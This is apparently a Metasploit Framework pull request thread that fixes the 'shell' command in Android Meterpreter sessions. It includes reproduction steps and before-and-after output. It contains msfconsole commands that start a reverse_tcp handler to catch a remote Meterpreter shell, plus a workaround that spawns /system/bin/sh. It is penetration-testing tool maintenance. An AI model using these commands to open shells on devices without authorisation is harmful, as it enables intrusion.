fix #11975, fix meterpreter shell command on android

[timwr]

This was due to 53557cc#diff-b140b9ed40fbd717d5786d0ee125c7efL327

Steps to reproduce

1. I am using metasploit-framework 5.0.28-dev and the reverse_tcp payload
   use exploit/multi/handler
   set payload android/meterpreter/reverse_tcp
   set LHOST 10.0.0.1
   set LPORT 7080
   exploit -j -z

2. Asap Meterpreter session has been established I execute command "shell" and get following error
   Before fix:
   meterpreter > shell
   [-] stdapi_sys_config_getenv: Operation failed: 1

After fix:

meterpreter > shell
Process 1 created.
Channel 1 created.
echo lol
lol

Thoughts:

1. I will also implement the getenv command on Android, but the extra call seems unnecessary given we know it will always be /system/bin/sh.
2. I wonder if we can have a pty shell somehow
3. Do we think it's worth removing (or moving to verbose) the Process 1 created, Channel 1 created. logs?

[timwr]

Merge please

[timwr]

You can use meterpreter > execute -f /system/bin/sh -i -c as a workaround for now

[sempervictus]

ping @busterb - manually requesting a merge, few of us have tested, doesn't seem to break universe, does work.

[busterb]

Works for me, makes sense.

[busterb]

Release Notes

The shell command on Android Meterpreter to now explicitly uses the correct path to the shell binary.